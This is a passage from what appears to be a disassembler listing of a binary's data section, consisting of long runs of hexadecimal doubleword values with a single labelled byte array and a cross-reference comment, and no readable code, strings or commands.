0A5E029BAh, 0AFA05CB0h dd 26F03976h, 49294FF6h, 0AD0AF091h, 754198C6h, 6410DBCEh dd 255C9BBAh, 50879378h, 12419847h, 80CFDE3Fh, 0A1B6224h dd 0A0D56471h, 0A7918C94h, 11CF9EC8h, 3E61E219h, 0EA8E1A1h dd 102E6198h, 0A6882FA2h, 1534266Dh, 50F508A8h, 0A0EC7885h dd 47462868h, 8A6FC292h, 72D46A28h, 32AD0068h, 3DD5685Dh dd 30E978D3h, 0A0A873ACh, 620A14FFh, 4017A861h, 2CFB65D0h dd 402C1F39h, 0E8141024h, 9C5C713Fh, 0A225349Ch, 48020304h dd 0DD77CA44h, 583C2B31h, 0A61A579h, 8DE04559h, 5850E872h dd 0A4A414Fh, 5EE3C834h, 41E87200h, 968F1F0Fh, 9A04185Ch dd 0B75AD04Ch, 1924C600h, 0BBA56174h, 0A548A38Fh, 8DDABC6Ch dd 0B5AE2B85h, 4A559842h, 867C05BAh, 577891BAh, 45F765Ah dd 546650E2h, 0CE44841Ch, 0BB421F1Fh, 71755839h, 2E03E5F8h dd 4533FD2Dh, 8A829083h, 0B0ED59BAh, 1507054h, 9104E6BFh dd 0AC31A77Ch, 780F4781h, 202C8AB0h, 0BC20D865h, 0C92AB452h dd 9C260F30h, 6E0F08AEh, 849AEB46h, 101443FDh, 3083AF25h dd 9D9869E4h, 0D4001185h, 1E87A452h, 0F29E813Fh, 0FFD81EBDh dd 82F60097h, 0DF0E6E26h, 0CE1B0402h, 0C03B9CFCh, 3EAA2C12h dd 6A80D3BEh, 627094B6h, 18008CC0h, 3AB8CEF2h, 888692h dd 0D23B7230h, 0FCCFCD10h, 0B6319A1Dh, 0D39440F0h, 0DC4D07E2h dd 8074708Fh, 0F2EB2DEAh, 3F93BE00h, 7E194CAAh, 43CF003Bh dd 0AD8ACD1Ch, 1E5CDA31h, 206F77CDh, 628F0540h, 490788Ah dd 0F850BDFFh, 121DBF96h, 0DC4FF0h, 98BB6FD8h, 0CA00EB25h dd 0B73DD4F7h, 12806B9Bh, 4ED215h, 32A1F9F7h, 5918CCABh dd 6940BE8Bh, 274600A4h, 2D86C975h, 0A1FAC7E2h, 0A0A52E01h dd 714E7630h, 0C5FDD0h, 0AA2595F3h, 0BE8E2BC8h, 5CEA1F08h dd 0C96B00A7h, 0CEF8129Dh, 4A009FFAh, 7A1987A3h, 4EDE58h dd 91E8B102h, 5A09DB25h, 0EC88E00h, 46A950EAh, 13617920h dd 9FE12A0h, 94172638h, 8AA0005Dh, 0A656E616h, 6F009479h dd 0F82D8FC9h, 9CBECDh, 294CA536h, 4D5157Eh, 0E3C40F1Fh dd 1EF73800h, 0E8BE945Dh, 1B5200EFh, 0C03F228Bh, 0EB001798h dd 24ABE989h, 288DDAh, 514A6233h, 0A7F7FE1Ah, 0CCE33700h dd 20BC9460h, 405F60E8h dd 89973F1Ch, 0BB0A2D39h, 0A13200F7h, 931149Eh, 0CE4800D5h dd 28A7F3D0h, 60001EB6h, 0D4208152h, 0F2961B4Dh, 0B89E676h dd 4A8B0A23h, 805F8C35h, 85956162h, 6A07E5D3h, 6F1B94A9h dd 0BE289280h, 2088E48Ch, 6200AF3Dh, 1C45D83Ah, 0D6FBF2h dd 2C1BB63Ch, 0EF6A859Fh, 83DE9B00h, 82B97822h, 0C5FE0030h dd 0B77598FFh, 31072F9Ah, 0BBBDE0Dh, 3B3960D0h, 5ACF03DBh dd 0E71DB152h, 2BEAA8D0h, 99C97B00h, 0BECBBD1Bh, 0A43E0386h dd 0F311A9Dh, 0CF0C04E8h, 3D000498h, 512610AAh, 73F01BB4h dd 2788004Eh, 155B9473h, 0BD0BCBF8h, 4D975A8h, 134378ACh dd 37E1F9C6h, 460833E1h, 0F4E9FF04h, 0A000693Eh, 686F3606h dd 0AB53A10h, 0B4A0F99h, 62805534h, 6C63A94h, 0D70F007Dh dd 6A109FB2h, 7E104C7Ah, 3A026D6h, 97801CEAh, 7F2608E0h dd 698075BBh, 0FF35EE5Ah, 9F4D074Ah, 495062CAh, 3600947Ah dd 31C6EE52h, 9FF9D7AEh, 8AE80C00h, 0A93DE92Bh, 466F13F5h dd 1E7FF4A4h, 0B0B1D7A8h, 17C59328h, 0FD307C04h, 18BDD4E6h dd 0C7EB0376h, 3C7422D1h, 62AD37F3h, 8205151Ch, 0AAD0B4h dd 5684EFB7h, 5FA5942Fh, 4A397103h, 9F0158h, 0E82D7359h dd 72E1A75h, 8512302Fh, 50D06BD0h, 0E82560h, 0C466AE0Ch dd 3DE38099h, 74022E7Bh, 528EFDBBh, 0ADC62023h, 0CE01FFA8h dd 0DBCA08D8h, 0C88638E2h, 0B036C0ACh, 1865B922h, 0E103A77Ch dd 8CA3B6A6h, 64217ADAh, 0B07CE0F6h, 32FCB000h, 435FA9FFh dd 4F1EA580h, 7CFCC0CFh, 3B802DA1h, 0AFE80C82h, 4DE10421h dd 15CFF618h, 4B2BF928h, 0BB50D1A8h, 3C0F1080h, 261700B6h dd 0F113E021h, 29047173h, 1A3A6B2Dh, 390E64BDh, 0FF80D655h dd 7644C18h, 38F6B003h, 0B0A5AB22h, 601EA1FBh, 9386A025h dd 4CA0C328h, 0B501384Ch, 1637A45Fh, 77DBAB27h, 6D21C008h dd 4A17B530h, 79C72300h, 0EDF3978Ch, 8B410AE6h, 9B83511h dd 7CF2046Bh, 0D8AE0800h, 9473FEBFh, 2BEFEF1h, 9CFFAFFDh dd 0A0548D7Fh, 44202445h, 215BB534h, 61C017A4h, 1F8EB52Ch dd 4132A9C6h, 7FB817C4h, 7952DDE1h, 0C5AB03F4h, 0A83C155Ah dd 378C184h, 0B02907B5h, 0E8BCDDD7h, 0FC790068h, 0D6F3E5F2h dd 4DC0CA67h, 0B45212ABh, 8A3B1BD8h, 0A0AE02E0h, 56A6767Fh dd 211F1814h, 0E0007261h, 20215F25h, 0FCA52Ah, 0A696E27Eh dd 9B03AAEh, 156152EEh, 845CE631h, 7CEA5C4h, 550EA2F8h dd 6996B0EEh, 0C615F4F9h, 0A06503h, 7B36FAD4h, 8141Ah dd 0B3A36D17h, 41307D5Dh, 0F590AC1Eh, 3BED2982h, 0F434480Ch dd 0B61F03F1h, 0DBE6A32Ah, 2AB0ADB4h, 34EFCFCh, 42015090h dd 90E2E2h, 0CB42EEDh, 0F1A0A7CEh, 7CD23A07h, 2F942823h dd 0DD183B00h, 394822A8h, 3441242Ch, 7160F105h, 303AE432h dd 5D11B52Ah, 348827A4h, 0B5226B80h, 3DB6458h, 0EE439C9Ah dd 0B0142A8Bh, 0B82828DFh, 26398C31h, 3C71009Bh, 4EF30FBFh dd 0F73D0329h, 0D730DBD8h, 7C02C2D7h, 0F3DC0040h, 0FC7A2728h dd 28B091h, 87E2346h, 70AE22E0h, 7B4014C4h, 294BE07Ch dd 84734E3Eh, 3B9BD3A2h, 0F311FCB8h, 0FC332425h, 7945A101h dd 0D3A4619h, 26ACE0E8h, 0EE5C01DCh, 50BAFF33h, 3420CE0Dh dd 0ADEE54h, 0F26A4953h, 66A42B8Bh, 0E4884A4Fh, 0E04F04EBh dd 0ED36AFADh, 0F1FF1EDCh, 5D8200A4h, 5C295BEEh, 0D62A3150h dd 0C4012E3Fh, 37AF2C4Ah, 74C451A4h, 6C006A46h, 0A8FD9342h dd 3E28F5D8h, 7853842Fh, 13023B0h, 0AE2DE075h, 88121878h dd 0E0017D68h, 0D6A38342h, 0A88414C3h, 0B9D432FFh, 0DAC408Ch dd 71F1D718h, 258B20F0h, 0D4E0477Dh, 18541F39h, 922D08A0h dd 2394C23Fh, 4C68BA20h, 7600F121h, 6D081EFDh, 65FA0FCEh dd 0C3718B01h, 89D64896h, 28F9EC41h, 0E70AB010h, 4001F32Dh dd 0AD33A0h, 0A96B78D3h, 0A4601CC0h, 699E1E0Ah, 990EB867h dd 0E2803847h, 0AD4C0B92h, 0B85062BFh, 49C1A97h, 0FB409DBCh dd 2E57E733h, 79C0527Fh, 0C90422D6h, 0ECB4000Eh, 0E86E7C5Ah dd 5E6299E3h, 5E736040h, 0F0A14774h, 0DDFD96DBh, 8FD87C38h dd 12723DFCh, 29523046h, 5C070059h, 0B3E037DBh, 8300B2BDh dd 78E65316h, 9D5193A5h, 2D1B023h, 0CC1E4C0h, 1EDDBB07h dd 0DC02177Ah, 40A05E76h, 653B9205h, 90CD2980h, 8FE080BEh dd 27A90054h, 72AFAA80h, 2F0055CBh, 29F55C13h, 3D3784A2h dd 1D311EA3h, 308D6F31h, 0F4A1A7DEh, 7C920062h, 0E44F54A2h dd 0AC13047Eh, 82327626h, 5E307BACh, 0FF2911EEh, 806D886Ah dd 3CEE560Ah, 1F0EFBB5h, 8955949Dh, 379C0288h, 0E044747Ch dd 3EB70E36h, 0F788696Ah, 0D4C1E00h, 4CFCAFD4h, 85028811h dd 79470A74h, 2281CC82h, 84322A25h, 0E40065DFh, 1B0B606Eh dd 26C000CBh, 635A3EDEh, 274DC374h, 48850184h, 2AD19F61h dd 0E865F4h, 1AFE5B55h, 0CBF9FD32h, 0A87CC8AAh, 7DEFDF40h dd 0C9730009h, 0F3E67645h, 0E4B89705h, 62B7B009h, 3CFCF21Eh dd 0B0D1E92Bh, 30CED021h, 5911B536h, 3F8807A4h, 0B52E6F80h dd 1C335128h, 0EDDFAE21h, 3F354CC1h, 0A8D68420h, 0F3D109B0h dd 0E30FED57h, 0ECE72F01h, 45F0CB86h, 7724D88Fh, 883214BAh dd 59A0B072h, 0FF3411EEh, 806488B2h, 0D2EE5133h, 635A6821h dd 612CC8h, 0EFFA7ACCh, 8B1F1CB2h, 0C48D12Ch, 121E398Bh dd 7ED80410h, 38A78064h, 4D4C52FFh, 0C037B2D8h, 72C91FEFh dd 2B40249Ah, 643A081Ch, 1C34E813h, 302C8C82h, 0AEF4E089h dd 1D229846h, 0E0716400h, 3CE2FB20h, 2D860A4Fh, 0A154F0BAh dd 186E718Ch, 0D5C30028h, 6A86F6A2h, 0B15C0657h, 3A8F0564h dd 8C47B6Bh, 20E8FCC0h, 335B172Ch, 180016D7h, 8D3D2008h dd 63F64F1Eh, 48D4FD00h, 0B7355F7h, 0B953302Bh, 6D11281Dh dd 0A9401F80h, 15E6A644h, 40CF9A2Dh, 986F8680h, 40A0E630h dd 2F20ED3Bh, 24BCB01Dh, 0BE30D2BFh, 895B2282h, 45A5F8Bh dd 8F6AED04h, 0B5809B3Ch, 59A945D7h, 1130804Bh, 0E31929A0h dd 0D0A140F6h, 1A92F4E1h, 716123E4h, 65BA8B80h, 74C406Eh dd 0DD77805h, 598E6301h, 813329C1h, 166D19C4h, 1A809EF9h dd 4C66164Ch, 57C6A44h, 4908F6FCh, 86B8C8CDh, 0C41A5A01h dd 5DE39455h, 33F3986h, 0D800A1BAh, 480BA914h, 6927A1B1h dd 0F8D2986Ah, 0C5BCAC17h, 0F0CB040Eh, 8C6BC040h, 74E82204h dd 6962361Ah, 0E83A5320h, 2BF43852h, 6328D305h, 0FFC4006Bh dd 0BA195022h, 0E88F460Ch, 447A68A4h, 1C98731Bh, 4A721220h dd 41B020E6h, 305A9D3h, 3AAAA6ABh, 0BD802CBCh, 0BF9B4C02h dd 0D8BA1300h, 3C9C828Bh, 0D3706Ah, 61BD239h, 0BDE88CABh dd 35D7AF17h, 0A1FB7020h, 0C97C88ECh, 5E23DB1Fh, 0D36B3083h dd 81AB8983h, 3FF85428h, 0D04E008Ch, 3DCF8933h, 5817DE45h dd 9090E43Ah, 132A4621h, 0E47803EDh, 0E61AA7FCh, 0B710BF3Ah dd 99168BC8h, 0A0CCF107h, 8FB2D1F7h, 7D0E8492h, 7262A0FBh dd 287CEC88h, 54C4A794h, 2A88F885h, 4808E480h, 83826C94h dd 0C30521ADh, 81031CB9h, 0D5B7C548h, 3F94D9B0h, 2FA54300h dd 418FB8ABh, 30482E5Ch, 1A4674E0h, 0B8396E00h, 0F71FFD87h dd 57D42201h, 24F66311h, 6A88217Fh, 54C0046Fh, 949E7391h dd 81F990A4h, 83CEA33Eh, 2A340B6Eh, 2697D071h, 2E0118F2h dd 0D674086Fh, 2C423E04h, 8071C4FBh, 0D57786E4h, 7DC10453h dd 0B23A3221h, 29840174h dd 0E877D2D1h, 40BA8824h, 9400937Fh, 0CDEE9C34h, 3EDB900Eh dd 0BA18B033h, 0E14B217Eh, 143CA800h, 11A18286h, 0E49715F4h dd 9058F0FFh, 0F73D7407h, 49E680EFh, 0B5ABF1h, 0FFC982A8h dd 1EA70585h, 0CE7BBA17h, 0C06FC810h, 6A836545h, 5778D900h dd 0C7F7A22Ah, 8CD517ECh, 7BAC0412h, 0E487072Dh, 8E2BD683h dd 0A1B33B10h, 6F3C825Bh, 19521861h, 1077E8F8h, 0C802DE1Ah dd 235E8776h, 0FD9650E8h, 0F6C16970h, 5F63F206h, 0E095C29h dd 4C00286Fh, 32D9CECBh, 5420A34Ah, 9B4DD2h, 0B1FFD4E5h dd 0AFD3AA2h, 6310809h, 7CCC23A5h, 39DBD821h, 17523742h dd 0D0DF1059h, 0B50098F5h, 0D267BCBBh, 48B1E7D5h, 0AE01DC92h dd 5D256169h, 86176h, 0D7FD3DDCh, 0F59A369h, 703A9248h dd 0E4001D23h, 575B0410h, 1390049Ch, 0B4037EADh, 0BA00A2CCh dd 0C635F59h, 775DC3C5h, 122790BDh, 150ED83h, 0DEBF78C4h dd 66983120h, 482F4BC0h, 24001F23h, 0DD34F1D4h, 0C7C00465h dd 9026CDC2h, 1B215E70h, 0B9DC5A01h, 0E8DE63D5h, 48D2BC70h dd 2B16BC95h, 0BB64B446h, 440805EFh, 0EE53C17Ch, 8EF1452Ah dd 6B0900B4h, 0CEBC13EEh, 601200A5h, 0E8DB814h, 3C72FEB0h dd 0ACB2DD4Ah, 9AE01E00h, 2D4B8B4h, 0CE2CC27Eh, 7D133BE6h dd 0D00E6A00h, 2C8D3174h, 89C22B7h, 0F202257Ah, 409C9F91h dd 31E65B58h, 52B024A7h, 0E28854C6h, 301DF2E8h, 0C73BDAEEh dd 9D7DBDB9h, 3397F692h, 7D190F5h, 7A903D00h, 0B411DE0Bh dd 0BBC78A6h, 68A5D7A8h, 3F11C059h, 24133912h, 7869C074h dd 0A66E5F73h, 87068079h, 2E5E34F0h, 97100C20h, 23E83FC7h dd 0A5B70264h, 64E11A22h, 835B10F1h, 0A979156Fh, 78224C24h dd 58642958h, 0C5DFCBA4h, 606DC42Ch, 1FA32751h, 8EF944DBh dd 3E018C11h, 0DF831A8Bh, 0CE2C88AEh, 0AC8148A3h, 22E463B4h dd 0EB83E838h, 28402331h, 2F7CAA8h, 293E069Eh, 3946E498h dd 5EB52B02h, 33315FA4h, 0B5236C10h, 0B1784200h, 1A5CFD74h dd 3F55298Bh, 79A508ECh, 2E28C42Fh, 2819549Ch, 45910745h dd 36D9C3h, 0FA26CA71h, 0FC574B02h, 0DC428FAEh, 20CE1618h dd 0EB97B4A8h, 0D6BC0800h, 0B08D11ADh, 0A95A07BEh, 742B5255h dd 23B4F258h, 13822051h, 62C61A8Ah, 5D2077B4h, 0A0E824h dd 4BDB8D28h, 0D16C4E70h, 3CE9F4A0h, 0D26FCE80h, 17F00489h dd 91041C27h, 0F08070A7h, 487315ACh, 251034E5h, 0B8F8903Bh dd 0C7488C70h, 0FC4005F2h, 9C8307B4h, 64F0CCEBh, 4C0E00A6h dd 5D7A151Eh, 0B4B1A879h, 58128200h, 0F85A383Fh, 89C49A2h dd 0FFF6A509h, 101FE411h, 5E7EB7B0h, 83C48073h, 0E9C85B71h dd 5D588026h, 123D777Dh, 0CA666300h, 0EEBB22DFh, 0AFD3019Ah dd 7D8B1FF4h, 89C02825h, 71B01A61h, 18645918h, 3A401D9h dd 46A7E895h, 0F2482283h, 4B6A3038h, 62429100h, 0B0C6E7E1h dd 823D0B8Ch, 84A2C2DDh, 407B4777h, 0A7262582h, 9888A9AEh dd 2FC45A0h, 0B03A947Ah, 1C49E7FBh, 70AFDDE8h, 6B887354h dd 87A309C4h, 80A0ADF4h, 0E8C97E54h, 424E2000h, 13715D30h dd 31984FA8h, 0D837CADCh, 705D4E68h, 2EB09154h, 97254B93h dd 801E1164h, 0F075A51Bh, 0E4244CDEh, 34157B10h, 94C45046h dd 51AEDC22h, 0BA043EFCh, 0F0B9DFADh, 0E04E3250h, 0D700D06Bh dd 0B1115149h, 0AD5A2BDFh, 0E012BC4Fh, 68162244h, 19FD00A6h dd 0DC3E337Ch, 0E19539F3h, 6C6C26ECh, 48C11F8h, 0E84421BEh dd 8E209EA1h, 1BA0203Fh, 25A4538Eh, 5459CC63h, 6B94073Eh dd 0EA4309B0h, 4DE23F4Bh, 0AFAA6A0Bh, 4CC4FF0Bh, 0E8966300h dd 0A520174Fh, 3ED900CBh, 6F46D10Dh, 563871ACh, 0B03080A3h dd 0C6363AF6h, 89B25FB9h, 8F9FC64h, 2FBEC0Eh, 7D0C605Ch dd 143DAABh, 73DC11E3h, 309B7937h, 0E0A7F0Ch, 0D8759C1Ch dd 704674h, 0CCE8DD71h, 85ABC1h, 0D681649Dh, 0F0F79486h dd 2FB30300h, 7ED2914h, 9822BF05h, 8B05A0EFh, 0F8D3FCC2h dd 40409670h, 0D2C333E7h, 1496C500h, 0B8A882B3h, 4C1A00E6h dd 3D649E55h, 5B242BADh, 5943A4BBh, 76023ED5h, 303828F0h dd 159F24C3h, 80221108h, 0AE2FE073h, 13448C68h, 0E07B0E66h dd 19CB6A5Fh, 3EAF0F03h, 54DCE4D4h, 0E829028Ch, 2CE1A89h dd 5C40C4F1h, 269E821h, 32BD2362h, 14F67D7Fh, 52253411h dd 0BDFCBCA0h, 0F23E45C3h, 2D145CE6h, 21482439h, 30E07660h dd 9680AE2Fh, 7E650084h, 0EAD381E0h, 14BC5224h, 9C5C0E83h dd 0CDFCF879h, 0B29A0032h, 0E5A5D4C8h, 5F4CBB6Bh, 3B17106Ch dd 293C167h, 7C68C399h, 132FD6ADh, 5934E429h, 47F89C4Eh dd 6400DAFCh, 0E60CB101h, 3F73D2Eh, 49746ACFh, 78A66B91h dd 2720237Eh, 0F9F80915h, 0FC596553h, 0C9E1721Bh, 7C3C16BFh dd 23982F4Ah, 0C71E69h, 684BC474h, 0BF3CAFDFh, 1250609Ah dd 2E8D4CBDh, 98421E3h, 4C716461h, 0A205C1Dh, 2C0FEEA5h dd 3D271D54h, 1944F3C4h, 81AC0941h, 185899D2h, 0FCD9A88Ah dd 5A1B7800h, 1D2530Fh, 6C0BFAFEh, 41CEE220h, 0C166FC0h dd 56468603h, 0CBE82F1Ch, 28453E1Ah, 0E87327A8h, 14EC6002h dd 0E03F0F4Ch, 0F8D228Dh, 40AC2EE2h, 0B1CC3AC7h, 2ECAAFA5h dd 54095CD2h, 76467648h, 0D43D5700h, 389E631Dh, 0EE097471h dd 702BA1F7h, 532D34D4h, 39CCAC30h, 28162C0Dh, 6D076489h dd 74D1C0C0h, 66013A96h, 6080E9BDh, 0EA1028CEh, 0C6001BC4h db 30h byte_4E0049 db 0AFh, 0E2h, 87h ; DATA XREF: ___:00437DD4o dd offset byte_54ED17 dd 25E0ACFAh, 0FB1A7260h, 8032592Fh, 0D0E6A818h, 9067485Ch dd 0FD0BA212h, 2EE525F4h, 0A3DB02DCh, 7BD45992h, 0DAE860BCh dd 7C6D005Dh, 0B5A644FFh, 0A317E505h, 0BC057652h, 88226FC6h dd 1C34FACEh, 0FA7902h, 0DB068936h, 7E3A9438h, 0FBE58534h dd 0D8888A8Dh, 1A784015h, 0BFB0770Ch, 725011E6h, 793499B8h dd 7CA01811h, 371A02B9h, 4A84AC27h, 639D9040h, 0AC3A4486h dd 0C96883Ah, 2019FABFh, 9CA601C9h, 0F9F52DD8h, 2B34343Fh dd 0A5449890h, 22AF2D26h, 89336083h, 732887F8h, 7EB7780Bh dd 5F38A24Ah, 1CFC504Dh, 1699F6BBh, 502419F1h, 41B07DE1h dd 36A9F0D0h, 0BC5C0CACh, 8C11E898h, 1720B902h, 0C4AF792Bh dd 92037E60h, 0C061007Ch, 197DA7ECh, 973EC721h, 32968444h dd 20AE6082h, 0DA7836ACh, 2739DB1Ch, 49F97DCEh, 0A0105292h dd 863B17FCh, 26771321h, 76465C48h, 8464F033h, 0A7ACB2B0h dd 589893FCh, 0C0719F29h, 520059Dh, 0FBE703F4h, 0E11CE08Ah dd 2C3018D3h, 0EC95534h, 0B1D2AC65h, 2A6290A0h, 0B33291FDh dd 768C506Fh, 0EA00DC24h, 0ED8DF289h, 0AC6D3Ah, 15903EF8h dd 0A60865BFh, 347F603Fh, 0E0AD18ABh, 7007AFB8h, 87DC367Eh dd 0E3E72AF0h, 0E8266959h, 18422882h, 0D338C900h, 0D7231243h dd 88308B50h, 0E5F5C020h, 161ED527h, 702C17F9h, 3B93CF1Ch dd 8C2300B0h, 5CB53505h, 84E20FA4h, 0B52D62C0h, 3D0AC1BCh dd 0D0DF6C90h, 11781DCBh, 2FD8B17h, 26D7E78h, 0C47AF164h dd 7940CE30h, 278256h, 0E3CF7013h, 3C7D1753h, 1474E477h dd 0AF527E00h, 912AC468h, 4FFA1212h, 3F60216Fh, 6C222F27h dd 0E41CE773h, 6F70606Bh, 6CEA36E1h, 3220B82Ch, 8B201264h dd 9F38F461h, 3F6C9A48h, 0D2C400Bh, 7E6B700Fh, 66C3339h dd 4BFDF31Ah, 0B7AA0938h, 84F18F52h, 33C558B1h, 3A6BA010h dd 1EA65809h, 0A16C488Fh, 7A092D3h, 0F11AF6A7h, 0D74CC07Ch dd 2A072B75h, 0C3EE465Bh, 1FD3305Ch, 0ECAF83FEh, 605F6048h dd 16009251h, 8CFBB284h, 1F94AA05h, 0BCA9CC39h, 60A6F850h dd 8F53C078h, 89318DD8h, 2C05A075h, 631E3910h, 3EA46995h dd 28BC041h, 9E742033h, 283542F0h, 994A7110h, 4E7091DCh dd 3523F02Fh, 3D4E0707h, 0C8E8E9E3h, 2AD7A7E4h, 45301E51h dd 84203A40h, 14EB679h, 3098CD77h, 0CC7B13A4h, 45260C3Fh dd 705884C9h, 0B564A04Ah, 3486842Dh, 201C2C45h, 18E58A59h dd 1676CE4h, 70ED4205h, 2142E7FCh, 3C66A708h, 931EF688h dd 0F0B8D0C3h, 5913DA24h, 14ADBABFh, 8480AD3Dh, 89FA9D6Fh dd 0C8A52DB9h, 38FC8490h, 0A43C008Ch, 7F424C4Fh, 0A650E6DEh dd 2C43B788h, 8164887Fh, 0ED29D405h, 40B1186Fh, 8EAC102Dh dd 3EC8870Ch, 0D4A83E6Eh, 0EB13C059h, 5DDC8091h, 8D04D3A6h dd 0C46F78D2h, 1BA41487h, 0A82DC646h, 1D5722h, 252336B7h dd 0F3E7ECB0h, 0AE4985EBh, 2CD092AFh, 5A8EEBE6h, 20809BD3h dd 4028FD1Eh, 7746A38Fh, 0FE07680Bh, 3ACD6399h, 2DAF29C0h dd 5E0C9E53h, 17093146h, 0F601DA22h, 2E133ABFh, 6D23003Bh dd 6F593F01h, 618025C3h, 613970C8h, 10E62380h, 0B33F2D0Ah dd 7D01A860h, 3B9F7B9Ah, 38842073h, 8D3D0173h, 203067C1h dd 0C8344185h, 6F441F39h, 96F94EF2h, 632648BCh, 1869E40Fh dd 42EDE324h, 1D8D105Bh, 292EAC4h, 61AD88ABh, 2CC96381h dd 0A02080F6h, 8139EDEEh, 0EEC7F1B0h, 0D8B1A00h, 0D318DF3Dh dd 80C09B2Bh, 2F25D1D0h, 0D4750105h, 52CD66FFh, 0BB490122h dd 0AAA65110h, 8F0936B0h, 7CAFA2E8h, 0E70A8044h, 94D3414Ah dd 385C144Bh, 7CAB8E00h, 0A127413h, 98575FBDh, 8F201AFh dd 2BA12B49h, 0F73D7840h, 126A71C7h, 0B14399FDh, 9F8C39A8h dd 3C615304h, 238C3A13h, 65990078h, 0D5389628h, 4C291326h dd 77FC1F15h, 0D79EC0C2h, 54B09AAFh, 0FB00DC2Ch, 11B0720Eh dd 85D223Ch, 245FBA52h, 0F602B280h, 13B3506h, 0E9FD7795h dd 2E6242CDh, 2130023h, 0D5842151h, 20A02376h, 2BE6B90Bh dd 6A255625h, 40C0D4FCh, 0D74B790Ah, 15DB58h, 76AB46BEh dd 48F54AE8h, 6487A021h, 0FD517CFEh, 85AEC809h, 33765C45h dd 0A5E33970h, 46472CE8h, 0E3945305h, 0A0C44E75h, 1DB83CFDh dd 370CEE05h, 0BC04D4FDh, 871F300Bh, 0BE31F4FCh, 0FB4DE500h dd 415ECFF9h, 12B9FC00h, 4E7779B0h, 23182EE0h, 7139006Eh dd 8546CC28h, 0D58D1004h, 0A8AC4D18h, 647C0D76h, 0EDA92EFBh dd 10406FA4h, 28ADD733h, 2B5F307Fh, 23600D21h, 478A8100h dd 0ABA6749Ch, 39D61F18h, 0A1FB000Ch, 21275DA4h, 0B884864Dh dd 181FE32h, 0B1AC4112h, 0DE3A4616h, 8F00E0D2h, 775B7436h dd 9908FC3Ch, 18777990h, 583F0166h, 7ED2CCA3h, 39E7CC96h dd 0B08B1B5Bh, 0E6C032C8h, 7FFF2040h, 3484B7F1h, 958C803h dd 89FA553Eh, 1AFD445h, 3A5175F8h, 0C0F8893Bh, 7D415391h dd 59023F8h, 1E95FE6Bh, 2CBC48AEh, 1A5A0880h, 3D06383h dd 0D1829EB3h, 0F18075A2h, 0AE2CF3E5h, 0D9276462h, 727700B0h dd 9D7C7A17h, 12058109h, 0C7BB8558h, 0FB34F280h, 0D6490E11h dd 0DCB1A8Ch, 2BFD8C8h, 0C1327140h, 8BE50AB8h, 54006A81h dd 0FDAAD12Ch, 40354C6Bh, 98C6FE8h, 0F5F69244h, 44812842h dd 0FB118342h, 7C961000h, 1563A29h, 0A859C09Ah, 1A99E6BFh dd 0D20111F6h, 144696D8h, 0BCC92D60h, 77BC6C68h, 0C1F7008Ch dd 2F0955DFh, 0CD06D8A0h, 3A4DE350h, 0AFAA0788h, 0F356341Bh dd 0C09C4512h, 2BB6C95h, 829C7A50h, 0AFA9E804h, 6CFC7379h dd 8C65BCh, 5438F719h, 86B6F866h, 564DA000h, 1C903D7Bh dd 329CB868h, 55E0502Ah, 11E83030h, 88261A76h, 2851816Eh dd 2657C0E8h, 3038E2C8h, 0B63DB0F4h, 0BCB40165h, 90A66825h dd 4BC8045h, 128C31BCh, 99DB3FFh, 48CEF12Ch, 77482E46h dd 88AE2B0Bh, 629EC0C5h, 0F364E0C0h, 27A24FFBh, 20972B3Ch dd 0B8807891h, 9BFDEA24h, 0A9D7F09h, 76CC84A3h, 0AB37FF01h dd 0A88330D1h, 0A12DFDF6h, 0EACCEEC8h, 6CCB000Fh, 57877889h dd 0A21FA00Eh, 0A8C74E7Bh, 9903922Ah, 7838FE6Fh, 0EC514886h dd 12CF6E80h, 9D008381h, 472499A4h, 4C17C01Ah, 405E8609h dd 709B29F8h, 0C207107Eh, 81D17FF0h, 45C198C0h, 5DC50D8Ah dd 0F1911A3Ah, 6201E12Ah, 0E9941FA4h, 5002822Eh, 641C3A56h dd 0E69004A8h, 0EE2F376Eh, 7AC3A849h, 98ED0734h, 511AB615h dd 6075CE3Fh, 3099C3A0h, 0A76CF00h, 13651486h, 0F5BAD9h dd 0A34C95BEh, 0D7090988h, 11A4796Ch, 472A0400h, 3C3A674h dd 0CD87A27h, 800058C1h, 7FF66854h, 24F4F3A3h, 404C6030h dd 0B02251D2h, 7F4EB713h, 4098B8A4h, 9502F862h, 2916BD13h dd 479CE1A2h, 0CAE8126Fh, 0A7F2D68h, 4674A888h, 467F0077h dd 0D28D87A4h, 5C522E5Bh, 73301120h, 4528AD51h, 202B01E0h dd 6B426D8Bh, 5C554C22h, 61467C60h, 8CE0D302h, 107D674Bh dd 2A8021Ch, 10D5F5DCh, 9C8285B5h, 0C0508BE6h, 0A7AA3009h dd 5064A1F7h, 70348DEBh, 9C2E4D4Dh, 200D5BCh, 701416EAh dd 8495D35h, 2F0DEB68h, 0BEBFB002h, 581C507Dh, 2BC04877h dd 0C89CB36h, 808EB33Eh, 0EBDAF7Fh, 495D180h, 49F6F70Bh dd 0A2ACC0D5h, 0BA2A2C50h, 9800807Ah, 0C0FF4B94h, 11C686h dd 58EA903Ch, 8EB98340h, 0D625E000h, 2B4B22E4h, 2FA75A94h dd 0F1423C0h, 0A420AF12h dd 479FA1FFh, 0F88F896h, 0A0510010h, 0F7506676h, 6A08C816h dd 1AC8A48Bh, 0FD407AC7h, 726173A8h, 41E3038Eh, 2857F6A6h dd 3BDF6819h, 12103F78h, 6425D792h, 8408B23Ch, 60607D24h dd 0FF2737EEh, 80F8455Ah, 0F2EE5838h, 7A00121Eh, 3EB2858Ch dd 0C226825Ch, 6AFAEA1h, 680594D0h, 79B02B8Ah, 57558EDh dd 0E3E7F3F4h, 4684A091h, 24D6AE3Dh, 0F46AB42Eh, 53AD840h dd 91F0FD97h, 0A4465B0Fh, 8F078D4Ch, 0AFA4D439h, 51F7E13h dd 0EDEBE870h, 1EE0AD4Ch, 6256C993h, 0E000DCB2h, 0A80357A5h dd 88007AE5h, 274D8391h, 1204FB8h, 76BD37A9h, 3BBB792Bh dd 80D1A4D3h, 7FF3AAD4h, 9CFC0011h, 0EB3123F2h, 0A7717C9Eh dd 2744989Eh, 20B52961h, 60B42FA8h, 216E58h, 0CF2CE8B5h dd 0F40CC177h, 0A9E42350h, 8F2CFF72h, 3695146Ch, 0BC504D88h dd 0E1564C21h, 3AFAC104h, 23148155h, 0FF82052Dh, 3305467h dd 0E53CE43h, 0E4CA180Bh, 0CECF8ACh, 1BD7F6A5h, 0A096B418h dd 210337BEh, 6D847C80h, 522A00E0h, 3FA03C41h, 0F90734A4h dd 35A5AF1Fh, 913417E9h, 31C8070h, 0EAEA0DFh, 3CF7181Ah dd 0B662E84Eh, 7CD03EF5h, 